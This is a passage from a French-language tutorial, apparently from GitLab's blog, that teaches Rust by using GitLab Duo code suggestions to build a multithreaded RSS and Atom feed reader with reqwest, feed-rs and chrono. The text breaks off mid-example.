Utilisez les suggestions de code de GitLab\_Duo pour créer un objet [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html) avec un commentaire multilignes et initialisez-le avec les valeurs par défaut pour Hacker News et TechCrunch. Vérifiez l'exactitude des URL incluses dans les suggestions.\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n\n}\n```\n\nLe commentaire intégré au code doit inclure\_:\n\n1. Le nom de la variable `rss_feeds`.\n2. Le type `HashMap`.\n3. Les paires clé/valeur initiales.\n4. La string comme type utilisable avec les appels `to_string()`).\n\nVoici une suggestion possible\_:\n\n```rust\nuse std::collections::HashMap;\n\nfn main() {##$_0A$##    // Define RSS feed URLs in the variable rss_feeds##$_0A$##    // Use a HashMap##$_0A$##    // Add Hacker News and TechCrunch##$_0A$##    // Ensure to use String as type##$_0A$##    let rss_feeds = HashMap::from([##$_0A$##        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),##$_0A$##        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),##$_0A$##    ]);##$_0A$####$_0A$##}\n```\n\n![VS Code avec les suggestions de code pour les URL des flux RSS pour Hacker News et TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)\n\nOuvrez un terminal dans VS Code (cmd+maj+p, recherchez `terminal`), exécutez `cargo build` pour appliquer les modifications. Ajoutez la ligne d'importation `use std::collections::HashMap;` suite au message d'erreur.\n\nEnsuite, utilisez les URL des flux RSS. Dans notre [article](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) précédent, nous avons expliqué la division du code en fonctions. Ce tutoriel se concentre sur l'organisation modulaire du code avec des modules Rust.\n\n## Modules\nLes [modules](https://doc.rust-lang.org/rust-by-example/mod.html) organisent le code et peuvent restreindre l'accès aux fonctions à partir de la portée main(). Pour notre application, nous récupérerons le flux RSS et analyserons la réponse XML. La structure appelante `main()` n'accèdera qu'à la fonction `get_feeds()`. Les autres fonctionnalités sont disponibles dans le module.\n\nCréez un fichier `feed_reader.rs` dans le répertoire `src/`. Demandez aux suggestions de code de créer un module public nommé `feed_reader` avec une fonction publique `get_feeds()` prenant une string HashMap en entrée. Assurez-vous que le nom du fichier et du module correspondent et suivent la [structure de module Rust](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html).\n\n![Suggestions de code\_: créez un module public, avec des types de fonctions et d'intrants](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nEn fournissant aux suggestions de code le nom de la variable et son type, le module `std::collections::HashMap` sera automatiquement importé. Astuce\_: ajustez les commentaires et les types de variables pour améliorer les suggestions. Passer des paramètres de fonction sous forme de références d'objet est une bonne pratique en Rust.\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n        // Do something with the RSS feeds\n    }\n}\n```\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()` et la variable d'intrant suggérée](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nPour guider les suggestions de code, suivez ces étapes\_:\n\n1. `// Iterate over the RSS feed URLs`\n2. `// Fetch URL content`\n3. `// Parse XML body`\n4. `// Print the result`\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()`, étape 1\_: itération](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){: .shadow}\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()`, étape 2\_: récupération du contenu de l'URL](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){: .shadow}\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()`, étape 3\_: analyse du corps XML](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){: .shadow}\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()`, étape 4\_: impression des résultats](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){: .shadow}\n\nSuggestion de code possible\_:\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n        // Iterate over the RSS feed URLs\n        for (name, url) in rss_feeds {\n            println!(\"{}: {}\", name, url);\n\n            // Fetch URL content\n            let body = reqwest::blocking::get(url).unwrap().text().unwrap();\n\n            // Parse XML body\n            let parsed_body = roxmltree::Document::parse(&body).unwrap();\n\n            // Print the result\n            println!(\"{:#?}\", parsed_body);\n        }\n    }\n}\n```\n\nRemarquez le nouveau mot-clé\_: [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html). Rust n'accepte pas les valeurs `null` et utilise le [type `Option`](https://doc.rust-lang.org/rust-by-example/std/option.html) pour représenter les valeurs. Si vous avez la certitude d'utiliser un type encapsulé comme `Text` ou `String`, vous pouvez appeler la méthode `unwrap()` pour obtenir la valeur, mais elle provoquera un arrêt brutal du programme si la valeur est `None`.\n\n**Remarque**\_: les suggestions de code se réfèrent à la fonction `reqwest::blocking::get` pour suivre l'instruction `// Fetch URL content` du commentaire. Le nom de la [crate `reqwest`](https://docs.rs/reqwest/latest/reqwest/) n'est pas une faute de frappe. Cette crate simplifie les requêtes HTTP, en mode asynchrone ou bloquant.\n\nL'analyse XML peut varier selon les flux RSS, alors testez la fonction `get_feeds()` et ajustez le code si nécessaire.\n\n### Appel de la fonction du module dans main()\n\nLa fonction main() ne connaît pas encore la fonction `get_feeds()`. Nous devons donc importer son module. Contrairement à d'autres langages de programmation, qui utilisent les mots-clés `include` ou `import`, Rust utilise des répertoires de fichiers\n\npour organiser les modules. Dans notre exemple, les deux fichiers source existent au même niveau de répertoire. `feed_reader.rs` est interprété comme une crate, contenant un module appelé `feed_reader`, qui définit la fonction `get_feeds()`.\n\n```\nsrc/\n  main.rs\n  feed_reader.rs\n```\n\nPour accéder à `get_feeds()` à partir du fichier `feed_reader.rs`, commencez par [indiquer le chemin du module](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html) dans la portée `main.rs`, puis appeler le chemin complet de la fonction.\n\n```rust\nmod feed_reader;\n\nfn main() {\n\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n\n```\n\nUtilisez le mot-clé `use` pour importer le chemin complet de la fonction avec un nom court.\n\n```rust\nmod feed_reader;\nuse feed_reader::feed_reader::get_feeds;\n\nfn main() {\n\n    get_feeds(&rss_feeds);\n\n```\n\n**Astuce\_:** consultez [l'article «\_Clear explanation of the Rust module system\_»](https://www.sheshbabu.com/posts/rust-module-system/) pour plus de détails.\n\n```diff\n\nfn main() {\n    // ...\n\n    // Print feed_reader get_feeds() output\n    println!(\"{}\", feed_reader::get_feeds(&rss_feeds));\n```\n\n```rust\nuse std::collections::HashMap;\n\nmod feed_reader;\n// Alternative: Import full function path\n//use feed_reader::feed_reader::get_feeds;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nExécutez `cargo build` à nouveau dans le terminal pour compiler le code.\n\n```shell\ncargo build\n```\n\nDemander des suggestions de code pour des bibliothèques courantes (comme les requêtes HTTP ou l'analyse XML) peut provoquer des erreurs de compilation telles que\_:\n\n1. Erreur\_: `could not find blocking in reqwest`. Solution\_: activez la fonctionnalité `blocking` pour la crate dans `Config.toml`: `reqwest = { version = \"0.11.20\", features = [\"blocking\"] }`.\n2. Erreur\_: `failed to resolve: use of undeclared crate or module reqwest`. Solution\_: ajoutez la crate `reqwest`.\n3. Erreur\_: `failed to resolve: use of undeclared crate or module roxmltree`. Solution\_: ajoutez la crate `roxmltree`.\n\n```shell\nvim Config.toml\n\nreqwest = { version = \"0.11.20\", features = [\"blocking\"] }\n```\n\n```shell\ncargo add reqwest\ncargo add roxmltree\n```\n\n**Astuce\_:** copiez le message d'erreur avec l'en-tête `Rust <error message>` dans un navigateur pour vérifier si la crate manquante est disponible. Cette recherche vous dirigera sur crates.io. Ajoutez ensuite les dépendances manquantes.\n\nAprès la compilation, exécutez le code avec `cargo run` et vérifiez la sortie du flux RSS de Hacker News.\n\n![Terminal VS Code, exécution de Cargo pour récupérer le flux XML de Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){: .shadow}\n\nProchaine étape\_: analyse XML dans un format lisible par un humain Nous allons maintenant explorer les solutions existantes et le rôle des crates Rust.\n\n## Crates\nLes flux RSS suivent des protocoles et spécifications communs. Pour analyser les éléments XML et comprendre la structure de l'objet sous-jacent, vérifiez si un développeur a déjà résolu ce problème et utilisez son code.\n\nEn Rust, le code réutilisable est organisé en [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html) et disponible sur crates.io. Ajoutez ces dépendances dans le fichier `Config.toml` dans la section `[dependencies]` ou avec `cargo add <name>`.\n\nPour notre application, utilisez la [crate feed-rs](https://crates.io/crates/feed-rs) en exécutant la commande suivante dans le terminal\_:\n\n```shell\ncargo add feed-rs\n```\n\n![Terminal VS Code Terminal\_: ajout d'une crate, vérification dans le fichier Config.toml](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)\n\n### feed-rs pour analyser un flux XML\nAccédez à `src/feed_reader.rs` pour modifier l'analyse XML. GitLab\_Duo sait appeler la fonction `parser::parse` de la crate `feed-rs`. Les suggestion de code comprennent le cas particulier\_: `feed-rs` [attend des octets bruts en entrée, et non des chaînes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html) pour déterminer l'encodage. Fournissez des instructions dans le commentaire pour obtenir le résultat prévu.\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n```\n\n![Suggestions de code\_: module public avec la fonction `get_feeds()`, étape 5\_: modification de l'analyseur XML en feed-rs](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){: .shadow}\n\nLes avantages de `feed-rs` se révèlent en exécutant votre programme avec la commande `cargo run`\_: les clés et valeurs sont converties en types d'objets Rust réutilisables.\n\n![Terminal VS Code, exécution de Cargo pour récupérer le flux XML de Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){: .shadow}\n\n## Configuration du runtime\_: arguments de programme\nJusqu'à présent, nous avons utilisé des valeurs de flux RSS codées en dur. La prochaine étape est de configurer ces flux RSS au moment de l'exécution.\n\nRust propose des [arguments de programme](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) via la bibliothèque «\_Std misc\_» standard. Il est plus rapide d'apprendre [l'analyse des arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html) directement que d'utiliser des crates (par exemple, la crate [clap](https://docs.rs/clap/latest/clap/)) ou de passer par un fichier de configuration ou un autre format ([TOML](https://toml.io/en/), YAML). Pour cet article, j'ai bien essayé d'autres pistes, mais sans succès. Relevez le défi et essayez de configurer les flux RSS d'une autre manière.\n\nUne méthode simple consiste à passer les paramètres sous la forme `\"name,url\"` avec les valeurs séparées par une virgule `,` pour extraire le nom et l'URL. Demandez aux suggestions de code d'effectuer cette action et d'inclure les nouvelles valeurs dans la table de hachage `rss_feeds`. La variable peut ne pas être modifiable et doit être remplacée par `let mut rss_feeds`.\n\nAccédez à `src/main.rs` et ajoutez le code suivant à la fonction `main()` après la variable `rss_feeds`. Écrivez un commentaire qui définit les arguments de programme et vérifiez le code suggéré.\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n```\n\n![Suggestions de code pour les arguments de programme et découpage des paires nom,URL pour la variable rss_feeds](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){: .shadow}\n\nDans notre exemple, le code est le suivant\_:\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let mut rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nPassez les arguments directement avec `cargo run`, avant les arguments contenant `--`. Ajoutez des guillemets doubles à tous les arguments et une virgule après le nom. Utilisez l'URL du flux RSS comme argument. Séparez les arguments par des espaces.\n\n```\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Terminal VS Code, exemple de sortie de flux RSS pour le blog GitLab](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){: .shadow}\n\n### Gestion des erreurs des intrants saisis\nSi l'entrée ne correspond pas aux attentes du programme, [générez une erreur](https://doc.rust-lang.org/rust-by-example/error.html) pour aider à corriger les arguments, par exemple en cas d'URL invalide. Ajoutez un commentaire dans le code pour que les suggestions de code incluent une vérification de l'URL.\n\n```rust\n    // Ensure that URL contains a valid format, otherwise throw an error\n```\n\nVérifiez si `url` commence par `http://` ou `https://`. Sinon, utilisez la [macro panic!](https://doc.rust-lang.org/rust-by-example/std/panic.html) pour générer une erreur. Dans notre exemple, le code est le suivant\_:\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n\n        // Ensure that URL contains a valid format, otherwise throw an error\n        if !url.starts_with(\"http://\") && !url.starts_with(\"https://\") {\n            panic!(\"Invalid URL format: {}\", url);\n        }\n\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n```\n\nTestez la gestion des erreurs en supprimant `:` dans l'une des chaînes d'URL. Ajoutez la variable d'environnement `RUST_BACKTRACE=full` pour un affichage plus détaillé des résultats lorsque l'appel `panic()`.\n\n```\nRUST_BACKTRACE=full cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https//www.cncf.io/feed/\"\n```\n\n![Terminal VS Code avec un format d'URL incorrect, traçage des erreurs suite à un arrêt brutal du programme](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){: .shadow}\n\n## Persistance et stockage des données\nUne solution classique consiste à stocker les données du flux analysé dans un nouveau fichier. Demandez aux suggestions de code de générer un nom de fichier incluant le nom du flux RSS et la date au format ISO.\n\n```rust\n    // Parse XML body with feed_rs parser, input in bytes\n    let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n\n    // Print the result\n    println!(\"{:#?}\", parsed_body);\n\n    // Dump the parsed body to a file, as name-current-iso-date.xml\n    let now = chrono::offset::Local::now();\n    let filename = format!(\"{}-{}.xml\", name, now.format(\"%Y-%m-%d\"));\n    let mut file = std::fs::File::create(filename).unwrap();\n    file.write_all(body.as_bytes()).unwrap();\n```\n\nUtilisez la [crate chrono](https://crates.io/crates/chrono). Ajoutez-la à l'aide de `cargo add chrono`, puis exécutez `cargo build` et `cargo run`.\n\nLes fichiers seront enregistrés dans le répertoire où `cargo run` est exécuté. Si vous exécutez le binaire directement dans le répertoire `target/debug/`, les fichiers y seront sauvegardés.\n\n![VS Code avec fichier de contenu du flux RSS CNCF, enregistré sur le disque](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)\n\n## Optimisation\nLes URL dans `rss_feeds` sont traitées de manière séquentielle, ce qui peut être lent avec plus de 100\_URL. Pourquoi ne pas les traiter en parallèle\_?\n\n### Exécution asynchrone\nRust permet l'exécution asynchrone avec des [threads](https://doc.rust-lang.org/book/ch16-01-threads.html).\n\nLa méthode la plus simple est de créer un thread pour chaque URL de flux RSS. Nous explorerons les stratégies d'optimisation ultérieurement. Avant de passer à l'exécution parallèle, mesurez le temps d'exécution séquentiel en faisant précéder `time` par `cargo run`.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n```\n\nCet exercice peut nécessiter du codage manuel. Conservez l'état séquentiel dans une validation Git et une nouvelle branche `sequential-exec` pour comparer l'impact de l'exécution parallèle.\n\n```shell\ngit commit -avm \"Sequential execution working\"\ngit checkout -b sequential-exec\ngit push -u origin sequential-exec\n\ngit checkout main\n```\n\n### Création de threads\nOuvrez `src/feed_reader.rs` et réusinez la fonction `get_feeds()`. Lancez une validation Git de l'état actuel, puis supprimez le contenu de la portée de la fonction. Ajoutez les commentaires suivants dans le code comme instructions pour les suggestions de code\_:\n\n1. `// Store threads in vector`\_: stockez les gestionnaires de thread dans un vecteur pour attendre que tous les threads se terminent à la fin de l'appel de la fonction.\n2. `// Loop over rss_feeds and spawn threads`\_: créez un code standard pour itérer sur les flux RSS et générer un thread pour chacun.\n\nAjoutez les instructions `use` suivantes pour les modules `thread` et `time`.\n\n```rust\n    use std::thread;\n    use std::time::Duration;\n```\n\nContinuez à écrire le code et fermez la boucle for. Ajoutez les gestionnaires de thread au vecteur `threads` et joignez-les à la fin de la fonction.\n\n```rust\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n        // Store threads in vector\n        let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n        // Loop over rss_feeds and spawn threads\n        for (name, url) in rss_feeds {\n            let thread_name = name.clone();\n            let thread_url = url.clone();\n            let thread = thread::spawn(move || {\n\n            });\n            threads.push(thread);\n        }\n\n        // Join threads\n        for thread in threads {\n            thread.join().unwrap();\n        }\n    }\n```\n\nAjoutez la crate `thread`, compilez et exécutez le code.\n\n```shell\ncargo add thread\n\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\nAucune donnée n'est traitée ni affichée. Explorez les nouveaux mots-clés avant de réintégrer la fonctionnalité.\n\n### Portées, threads et fermetures des fonctions\nLe code suggéré utilise de nouveaux mots-clés et design patterns. Le gestionnaire de thread de type `thread::JoinHandle` permet d'attendre la fin des threads ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)).\n\n`thread::spawn()` génère un thread pour passer un objet fonction. Une expression [de fermeture](https://doc.rust-lang.org/book/ch13-01-closures.html) est passée en tant que fonction anonyme. Les paramètres de fermeture sont passés avec la syntaxe `||`. La [fermeture `move`](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads) déplace les variables de portée de la fonction dans celle du thread. Pas besoin de préciser manuellement les variables qui doivent être passées dans la nouvelle portée de la fonction/fermeture.\n\nCependant, `rss_feeds` est passé comme référence `&` par la structure d'appel de la fonction `get_feeds()` et n'est valide que dans la portée de la fonction. Utilisez le code suivant pour provoquer une erreur :\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (key, value) in rss_feeds {\n        let thread = thread::spawn(move || {\n            println!(\"{}\", key);\n        });\n    }\n}\n```\n\n![Terminal VS Code, erreur liée à la portée de la variable et aux références avec une fermeture déplacée dans un thread](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){: .shadow}\n\nLa variable `key`, pourtant créée dans la portée de la fonction, fait référence à `rss_feeds` et ne peut pas être déplacée dans la portée du thread. Les valeurs accessibles depuis la table de hachage des paramètres de fonction `rss_feeds` nécessitent une copie locale avec `clone()`.\n\n![Terminal VS Code, création de thread avec clone](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){: .shadow}\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (name, url) in rss_feeds {\n        let thread_name = name.clone();\n        let thread_url = url.clone();\n        let thread = thread::spawn(move || {\n            // Use thread_name and thread_url as values, see next chapter for instructions.\n```\n\n## Analyse du flux XML dans les types d'objets\nL'étape suivante consiste à analyser le flux RSS dans la fermeture du thread. Ajoutez les commentaires suivants dans le code pour guider les suggestions de code\_:\n\n1. `// Parse XML body with feed_rs parser, input in bytes`\_: récupérer le contenu de l'URL du flux RSS et l'analyser avec les fonctions de la crate `feed_rs`.\n2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name`\_: extraire le type de flux pour comparer l'attribut `feed_type` avec [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html). Les suggestions de code doivent aussi recevoir des instructions avec les valeurs enum exactes à comparer.\n\n![Demande adressée aux suggestions de code de comparer les types de flux spécifiques](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){: .shadow}\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();\n            let feed = feed_rs::parser::parse(body.as_ref()).unwrap();\n\n            // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name\n            if feed.feed_type == feed_rs::model::FeedType::RSS2 {\n                println!(\"{} is an RSS2 feed\", thread_name);\n            } else if feed.feed_type == feed_rs::model::FeedType::Atom {\n                println!(\"{} is an Atom feed\", thread_name);\n            }\n```\n\nExécutez le programme et vérifiez les données de sortie.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\nCNCF is an RSS2 feed\nTechCrunch is an RSS2 feed\nGitLab Blog is an Atom feed\nHacker News is an RSS2 feed\n```\n\nPour cela, ouvrez les URL des flux dans le navigateur ou en inspectant les fichiers téléchargés.\n\nHacker News utilise RSS 2.0, avec `channel(title,link,description,item(title,link,pubDate,comments))`. TechCrunch et le blog de la CNCF ont une structure similaire.\n```xml\n<rss version=\"2.0\"><channel><title>Hacker News</title><link>https://news.ycombinator.com/</link><description>Links for the intellectually curious, ranked by readers.</description><item><title>Writing a debugger from scratch: Breakpoints</title><link>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/</link><pubDate>Wed, 27 Sep 2023 06:31:25 +0000</pubDate><comments>https://news.ycombinator.com/item?id=37670938</comments><description><![CDATA[<a href=\"https://news.ycombinator.com/item?id=37670938\">Comments</a>]]></description></item><item>\n```\n\nLe blog de GitLab utilise le format de flux [Atom](https://datatracker.ietf.org/doc/html/rfc4287), similaire à RSS, mais nécessitant une logique d'analyse différente.\n```xml\n<?xml version='1.0' encoding='utf-8' ?>\n<feed xmlns='http://www.w3.org/2005/Atom'>\n<!-- / Get release posts -->\n<!-- / Get blog posts -->\n<title>GitLab</title>\n<id>https://about.gitlab.com/blog</id>\n<link href='https://about.gitlab.com/blog/' />\n<updated>2023-09-26T00:00:00+00:00</updated>\n<author>\n<name>The GitLab Team</name>\n</author>\n<entry>\n<title>Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform</title>\n<link href='https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/' rel='alternate' />\n<id>https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/</id>\n<published>2023-09-26T00:00:00+00:00</published>\n<updated>2023-09-26T00:00:00+00:00</updated>\n<author>\n<name>Dave Steer, Justin Farris</name>\n</author>\n```\n\n### Cartographie des types de données de flux génériques\nPour utiliser la fonction [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html) vous devez comprendre l'arborescence des nœuds XML et ses noms de balise. Heureusement, [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) gère à la fois les flux RSS et Atom. Nous pouvons donc continuer avec la crate `feed_rs`.\n\n1. Atom\_: Feed->Feed, Entry->Entry\n2. RSS\_: Channel->Feed, Item->Entry\n\nNous devons extraire les attributs requis et associer leurs types de données. Consultez la [documentation feed_rs::model](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) pour comprendre les structures, leurs champs et implémentations. Cela évitera les erreurs de conversion et les échecs de compilation, spécifiques à l'implémentation de `feed_rs`.\n\nLa structure [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) fournit un `title` de type `Option<Text>` (avec une valeur ou vide). La structure [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html) fournit les éléments suivants\_:\n\n1. `title`\_: `Option<Text>` avec [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) et le champ `content` comme la `String`.\n2. `updated`\_: `Option<DateTime<Utc>>` avec [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) avec la [méthode `format()`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).\n3. `summary`\_: `Option<Text>` [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) et le champ `content` comme la `String`.\n4. `links`\_: `Vec<Link>`, vecteur avec les éléments [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html). L'attribut `href` fournit la chaîne d'URL brute.\n\nUtilisez ces connaissances pour extraire les données des intrants de flux. Appelez `unwrap()` sur tous les types `Option` et ajoutez des instructions explicites aux suggestions de code.\n\n```rust\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html\n                // Loop over all entries, and print\n                // title.unwrap().content\n                // published.unwrap().format\n                // summary.unwrap().content\n                // links href as joined string\n                for entry in feed.entries {\n                    println!(\"Title: {}\", entry.title.unwrap().content);\n                    println!(\"Published: {}\", entry.published.unwrap().format(\"%Y-%m-%d %H:%M:%S\"));\n                    println!(\"Summary: {}\", entry.summary.unwrap().content);\n                    println!(\"Links: {:?}\", entry.links.iter().map(|link| link.href.clone()).collect::<Vec<String>>().join(\", \"));\n                    println!();\n                }\n```\n\n![Suggestions de code pour afficher les types d'éléments de flux, avec des exigences spécifiques](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){: .shadow}\n\n### Gestion des erreurs avec l'Option unwrap()\nCompilez, exécutez le programme, puis continuez avec des instructions multilignes. Remarque\_: `unwrap()` appelle la macro `panic!` et bloque le programme si des valeurs sont vides, comme un champ `summary` non défini dans les données du flux.\n\n```shell\nGitLab Blog is an Atom feed\nTitle: How the Colmena project uses GitLab to support citizen journalists\nPublished: 2023-09-27 00:00:00\nthread '<unnamed>' panicked at 'called `Option::unwrap()` on a `None` value', src/feed_reader.rs:40:59\n```\n\nUtilisez [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else) pour définir une chaîne vide comme valeur par défaut. La syntaxe nécessite une fermeture qui renvoie une instanciation de structure `Text` vide.\n\nJ'ai dû m'y reprendre à plusieurs fois pour trouver l'initialisation correcte permettant de résoudre le problème, car le passage d'une chaîne vide ne fonctionne pas avec les types personnalisés. Je vais vous montrer mes tentatives et recherches.\n\n```rust\n// Problem: The `summary` attribute is not always initialized. unwrap() will panic! then.\n// Requires use mime; and use feed_rs::model::Text;\n/*\n// 1st attempt: Use unwrap() to extraxt Text from Option<Text> type.\nprintln!(\"Summary: {}\", entry.summary.unwrap().content);\n// 2nd attempt. Learned about unwrap_or_else, passing an empty string.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| \"\").content);\n// 3rd attempt. summary 